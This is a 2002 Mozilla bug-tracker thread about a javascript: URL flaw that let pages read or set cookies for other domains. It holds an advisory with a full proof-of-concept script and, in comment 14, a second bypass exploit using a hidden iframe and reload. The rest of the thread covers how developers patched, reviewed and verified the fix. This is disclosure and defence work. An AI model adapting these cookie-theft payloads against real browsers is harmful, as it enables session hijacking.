Closed
Bug 152725
Opened 22 years ago
Closed 22 years ago
Possible cookie stealing using javascript: URLs
Categories
(Core :: Networking: Cookies, defect)
Core
Networking: Cookies
Tracking
()
VERIFIED
FIXED
mozilla1.0.1
People
(Reporter: security-bugs, Assigned: security-bugs)
References
Details
(Keywords: topembed, Whiteboard: [adt1 RTM] [ETA 07/13])
Attachments
(4 files, 1 obsolete file)
9.80 KB,
patch
|
morse
:
review+
dveditz
:
superreview+
asa
:
approval+
|
Details | Diff | Splinter Review |
16.42 KB,
patch
|
morse
:
review+
dveditz
:
superreview+
asa
:
approval+
|
Details | Diff | Splinter Review |
2.04 KB,
patch
|
morse
:
review+
jst
:
superreview+
|
Details | Diff | Splinter Review |
1.93 KB,
patch
|
Details | Diff | Splinter Review |
---..---..---..---..---..---..---..---..---..---..---..---..---- Title: Mozilla 1.0 XSS - Reading/setting arbitrary cookie Date: [2002-06-19] Software: Mozilla 1.0 Impact: At least reading/setting arbitrary cookie Vendor: http://www.mozilla.org _ _ Workaround: Disable javascript o' \,=./ `o Author: Andreas Sandblad, sandblad@acc.umu.se (o o) ---=--=---=--=--=---=--=--=--=--=---=--=--=-----ooO--(_)--Ooo--- DESCRIPTION: ============ Mozilla allows script in the javascript protocoll to set and read cookies. The operating host and path is determined in similiar way as for http urls, namely as "javascript:[host][path]". Cookie security is based only on host and path. By carefully crafting a mallicious javascript link opened in a new window, it is possible to access and alter cookies from other domains. EXPLOIT: ======== Setting a host not generating any javascript errors may seem difficult but can easily be done using some tricks. It is done by fooling Mozilla into thinking the host is a legal variable. Using the fact that dots in javascript represents a way to access members in objects, we can create a complete valid host not generating any javascript errors. Setting a legal "/" path is done by understanding that "host/ 1" is ok as long as the host variable is an integer. The number "1" will not be included in the path because there is a space between "/" and "1". NOTE: Exploit is designed for default settings in Mozilla and has been tested on win32 (3 machines) and freeBSD (1 machine). On win32 the timer can be set to 0, but on freeBSD it has to be set to something like 50 ms. The timer is set to 2000 ms just in case. -------------------------- CUT HERE ---------------------------- <pre> Title: Mozilla 1.0 XSS Exploit Date: [2002-06-19] _ _ Impact: Reading/setting arbitrary cookie o' \,=./ `o Author: Andreas Sandblad, sandblad@acc.umu.se (o o) ---=--=---=--=--=---=--=--=--=--=---=--=--=-----ooO--(_)--Ooo--- </pre> <a href="javascript:readCookie();">Read google cookie (must be set)</a><br> <a href="javascript:setCookie();">Set www.mozilla.org cookie</a> <script> function readCookie() { s = "javascript:function f(){com=1} google=new f();" + "location='javascript:google.com/1;" + "setTimeout(\"alert(document.cookie);close()\",2000);\"\"'"; open(s); } function setCookie() { s = "javascript:function f(){org=1} function g(){mozilla=f} " + "www=new g();www.mozilla=new f();" + "location='javascript:www.mozilla.org/1;" + "setTimeout(\"document.cookie=\\'YOUARE=VULNERABLE;" + "path=/;expires=Fri, 13 Dec 2003 23:59:59 GMT;\\';" + "alert(\\'cookie set\\');close()\",2000);\"\"'"; open(s); } </script> -------------------------- CUT HERE ---------------------------- Disclaimer: =========== Andreas Sandblad is not responsible for the misuse of the information provided in this advisory. The opinions expressed are my own and not of any company. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this advisory. Any use of the information is at the user's own risk. Old advisories: =============== #7 [2002-05-19] "IE dot bug" http://online.securityfocus.com/archive/1/273168 #6 [2002-05-15] "Opera javascript protocoll vulnerability" http://online.securityfocus.com/archive/1/272583 #5 [2002-04-26] "Mp3 file can execute code in Winamp." http://online.securityfocus.com/archive/1/269724 #4 [2002-04-15] "Using the backbutton in IE is dangerous." http://online.securityfocus.com/archive/1/267561 CREDITS: ======== (for helping me testing the vulnerability) Ingesson (freeBSD), Quitta (win32), Hawkan (win32) Feedback: ========= Please send suggestions and comments to: _ _ sandblad@acc.umu.se o' \,=./ `o (o o) ---=--=---=--=--=---=--=--=--=--=---=--=--=-----ooO--(_)--Ooo--- Andreas Sandblad, student in Engineering Physics at Umea University, Sweden. -/---/---/---/---/---/---/---/---/---/---/---/---/---/---/---/--
Comment 1•22 years ago
|
||
This is the same code-level problem as bug 90644, "ftp://foo/ and http://foo/ share cookies", but more serious.
Updated•22 years ago
|
Blocks: 143047
Whiteboard: [Need Impact] [ETA Needed] → [adt1 RTM] [ETA 06/26]
Target Milestone: --- → mozilla1.0.1
Assignee | ||
Comment 2•22 years ago
|
||
This patch fixes the problem, but may have some issues. The problem is that the document URL is a javascript URL, and the URL parser is pulling a "host" out of the javascript URL (everything between the colon and the first /) which is wrong. What we really want in this case is not the document URL but the document principal, which in the case of a javascript: URL page, is the principal of the page the javascript: URL came from (the attacker's site, in this case). The biggest problem with this approach is that setting document.domain via the DOM changes the document principal. In the case of setting document.domain on the javascript: URL page itself (the second window opened by the above example), I'm not sure what will happen. In the case of setting document.domain on the page that calls window.open on a javascript: URL (the first page, above), the cookie will be set to the domain assigned to document.domain. I'm not sure if this is bad - probably not, since cookies can be set to superdomains of the current host (right?) and that's what document.domain allows. So a page on foo.mcom.com could set a cookie at .mcom.com, or .com if it really wanted to. The other potential problem is with chrome pages (such as some of the about: pages), although I don't know why a chrome page would be setting or reading a cookie, so that's probably OK.
Assignee | ||
Comment 3•22 years ago
|
||
I'll take this since I'm working on the fix.
Assignee: morse → mstoltz
Updated•22 years ago
|
Whiteboard: [adt1 RTM] [ETA 06/26] → [adt1 RTM] [ETA 06/27]
Assignee | ||
Comment 4•22 years ago
|
||
OK this fixes both the case described and a related exploit using a META tag. Testcases can be found (inside Netscape) at http://warp.mcom.com/u/mstoltz/bugs/152725.html http://warp.mcom.com/u/mstoltz/bugs/152725d.html We may also want to add a belt-and-suspenders patch in nsCookies.cpp that specifically prevents parsing a "host" out of a URL that doesn't really have one, like javascript:. The best way to do that is to have COOKIE_GetCookie and COOKIE_SetCookieString accept nsIURIs instead of strings - this is also a performance win - but I'm a little afraid to do that on the branch. We could hack in a check for javascript: URLs instead.
Attachment #88718 -
Attachment is obsolete: true
Comment 5•22 years ago
|
||
Comment on attachment 89489 [details] [diff] [review] patch v2 r=morse
Attachment #89489 -
Flags: review+
I think the XML content sink needs a similar check. Steve and Mitch, are there other cookie security fixes that have landed into the HTML content sink but not the XML content sink? And for the future, please keep in mind that HTML and XML content sinks have a lot of duplicate code that needs to be kept up to date manually (until bug 21771 gets fixed).
Comment 7•22 years ago
|
||
To the best of my recollection, this is the first cookie security fix that has landed in the HTML content sink. Most of them have been in the cookie module itself.
Comment 8•22 years ago
|
||
Comment on attachment 89489 [details] [diff] [review] patch v2 sr=dveditz for this much, but nsXMLContentSink needs equivalent code before you check in.
Attachment #89489 -
Flags: superreview+
Assignee | ||
Comment 9•22 years ago
|
||
Checked in (with equivalent code in XMLContentSink) on the trunk. Please verify with the two tests in comment 4.
Status: NEW → RESOLVED
Closed: 22 years ago
Resolution: --- → FIXED
Comment 10•22 years ago
|
||
trever, can you verify this fix on the trunk. thx.
Updated•22 years ago
|
Whiteboard: [adt1 RTM] [ETA 06/27] → [adt1 RTM] [ETA 07/08]
Comment 11•22 years ago
|
||
using testcases supplied in comment #4, verified cookie is not stolen anymore and that correct domains were being set. Ran general regression tests. verified trunk - 07/08/2002 builds - win NT4, Linux rh6, mac osX will need testing on branch
Status: RESOLVED → VERIFIED
Whiteboard: [adt1 RTM] [ETA 07/08] → [adt1 RTM] [ETA 07/08][verified-trunk]
Comment 12•22 years ago
|
||
adding adt1.0.1+. Please get drivers approval before checking into the branch.
Updated•22 years ago
|
Comment 14•22 years ago
|
||
BYPASS FIX It seems like your fix can be bypassed quite easily. Exploit below has been tested to work on Mozilla build 20020708 (win32). The trick is the use of reload. Exploit now use //host\n to get correct host. /Andreas Sandblad <pre> Title: Mozilla 1.0 Cookie Exploit (javascript: flaw) Date: [2002-07-09] _ _ Impact: Steal/spoof arbitrary cookie o' \,=./ `o Author: Andreas Sandblad, sandblad@acc.umu.se (o o) ---=--=---=--=--=---=--=--=--=--=---=--=--=-----ooO--(_)--Ooo--- </pre> <iframe name=f height=0 width=0 style=visibility:hidden></iframe> <script> function init(){ f.location = "javascript://www.google.com/\n"+ "'<body onload=alert(document.cookie)>'"; setTimeout('f.location.reload(false);',1000); } window.onload=setTimeout('init()',1000); </script>
Assignee | ||
Comment 15•22 years ago
|
||
I have confirmed that the above variation works. I was afraid of that - there are other ways of getting a document's principal to be a javascript URL other than the ways addressed by the above patch. Apparently, calling location.reload makes the page's principal be the javascript: URL. This appears to be an error, probably in the docshell code - the principal should still be the page that originated the javascript URL - the attacker's page in this case. So, I will do two things - ensure that reload() inherits page principals correctly for javascript: pages, *and* do a low-level check in the cookie code to make sure no javascript: URLs get passed in. We may even want to whitelist the protocols that can set cookies. I thought of doing the low-level check before, but I was afraid about regressions on the branch. Given this new variation, I think we need to prevent any javascript URLs from reaching the cookie code.
Comment 16•22 years ago
|
||
Removing adt1.0.1, as this bug has been reopened. Pls update the ETA. thanks!
Comment 17•22 years ago
|
||
It is also possible to bypass the fix using back and forward tricks in the history list (history.back()), instead of using reload. Whitelist the protocols that can set cookies must be the best solution (as Mitchell Stoltz suggest). /Andreas Sandblad
Assignee | ||
Comment 18•22 years ago
|
||
OK, I've got a possible fix for this second issue. This complements but does not replace patch v2 above - both should go in. This version changes the nsCookies.h API, which is AFAIK called only from nsCookieService.cpp, to accept nsIURIs instead of URLs in char* form. Then, we use GetHostPort() to extract the host and port instead of ExtractURLPart(). That way, the code will recognize that some URL schemes, like javascript:, have no host, and we will not attempt to read a host from a javascript URL (or about:, or any other nsSimpleURI). This has the advantage of avoiding a significant bit of unnecessary work - currently, we turn nsIURIs into strings and then parse them into component parts again. With this patch, we make use of the URL parsing that was already done elsewhere, which should give us a performance win on every page load. The downside to this patch for the branch is that it may be risky. This patch depends on the assumption that the host:port and path strings returned from nsIURI::GetHostPort and nsIURI::GetPath are identical to those returned by ExtractURLPart(). For the most important protocols, this is probably the case. For some other protocols, the parsing may give slightly different results, which may affect how cookies are stored for those protocols, but being able to set cookies from pages loaded by obscure protocols isn't all that important anyway. I recommend taking this patch for the branch after a few days of trunk testing, despite the risk. I do have a simpler, less risky patch which accomplishes the same thing, but that one will make a bad performance situation even worse by adding yet another round of URL parsing per page load and per cookie set.
Assignee | ||
Updated•22 years ago
|
Comment 19•22 years ago
|
||
steve, you okay with using nsIURI's at this level?
Comment 20•22 years ago
|
||
Nice job of simplification. However I too am very concerned with the risk of regression.
Comment 21•22 years ago
|
||
dougt: yes, that part I'm ok with.
Comment 22•22 years ago
|
||
Comment on attachment 91045 [details] [diff] [review] Add'l patch - use nsIURIs all the way through r=morse
Attachment #91045 -
Flags: review+
Assignee | ||
Comment 23•22 years ago
|
||
Here's a possible alternative which also fixes the exploit, but it's much safer - it adds an additional check when getting or setting cookies but doesn't otherwise alter any existing code. However, this patch is much worse than the other one, performance-wise, and will probably add to page-load times a bit. Steve, which one do you think we should use?
Comment 24•22 years ago
|
||
My vote would be to go with the safer one on the branch and the more efficient one on the trunk. The increase in page loading is on the order of milliseconds so it's not a big issue; however potentially breaking websites at this late date is a big issue.
Comment 25•22 years ago
|
||
Comment on attachment 91152 [details] [diff] [review] Possible alternative - safer but slower r=morse
Attachment #91152 -
Flags: review+
Comment 26•22 years ago
|
||
Comment on attachment 91152 [details] [diff] [review] Possible alternative - safer but slower + nsCOMPtr<nsIURI> uri; + nsresult result = ioService->NewURI(nsDependentCString(address), + nsnull, nsnull, getter_AddRefs(uri)); + if (NS_FAILED(result)) + return nsnull; + nsCAutoString tempHost; + result = uri->GetHost(tempHost); + if (NS_FAILED(result)) + return nsnull; + Since this new code defines a few function scope variable's that are, and should be, used only for this new code I'd put this code (and the other new part too) in it's own scope so that it's clear that uri and tempHost are used only for this check. I.e. add brackets and indent this new code. sr=jst either way tho...
Attachment #91152 -
Flags: superreview+
Comment 27•22 years ago
|
||
Comment on attachment 91045 [details] [diff] [review] Add'l patch - use nsIURIs all the way through > if (p3p) { >- p3p->GetConsent(curURL,aHttpChannel,&consent); >+ nsCAutoString curURLSpec; >+ if (NS_FAILED(curURL->GetSpec(curURLSpec))) GetAsciiSpec() here sr=dveditz with that change This looks safe enough to me, but if the drivers are really paranoid about the branch I don't think the performance hit of the other will be too bad. This one is definitely the way to go, though, for the future.
Attachment #91045 -
Flags: superreview+
Assignee | ||
Comment 28•22 years ago
|
||
I'll make those changes. This has gotten confusing, so let me clarify: For the trunk, I recommend patch v2 + add'l patch (attachments 89489 and 91045). For the branch, I recommend "safer but slower" (attachment 91152 [details] [diff] [review]). I need approvals for both.
Whiteboard: [adt1 RTM] [ETA 07/13] → [adt1 RTM] [ETA 07/13] [need approvals]
Comment 29•22 years ago
|
||
Comment on attachment 89489 [details] [diff] [review] patch v2 a=asa (on behalf of drivers) for checkin to the 1.1 trunk.
Attachment #89489 -
Flags: approval+
Comment 30•22 years ago
|
||
Comment on attachment 91045 [details] [diff] [review] Add'l patch - use nsIURIs all the way through a=asa (on behalf of drivers) for checkin to the 1.1 trunk.
Attachment #91045 -
Flags: approval+
Assignee | ||
Comment 31•22 years ago
|
||
OK, fixed on trunk and branch.
Status: REOPENED → RESOLVED
Closed: 22 years ago → 22 years ago
Resolution: --- → FIXED
Whiteboard: [adt1 RTM] [ETA 07/13] [need approvals] → [adt1 RTM] [ETA 07/13]
Assignee | ||
Comment 32•22 years ago
|
||
tever or bindu, please verify this bug on trunk and branch. Use these testcases (Netscape internal) http://warp.mcom.com/u/mstoltz/bugs/152725.html http://warp.mcom.com/u/mstoltz/bugs/152725d.html http://warp.mcom.com/u/mstoltz/bugs/152725f.html
Comment 33•22 years ago
|
||
verified with the supplied testcases on 07/23/02 builds - both trunk and branch, winNT4, linux rh6, mac osX.
Status: RESOLVED → VERIFIED
Keywords: verified1.0.1
Assignee | ||
Comment 34•22 years ago
|
||
*** Bug 159152 has been marked as a duplicate of this bug. ***
Assignee | ||
Updated•22 years ago
|
Group: security?
Assignee | ||
Comment 35•22 years ago
|
||
Updated•22 years ago
|
Keywords: fixed1.0.1 → adt1.0.1+
You need to log in
before you can comment on or make changes to this bug.
Description
•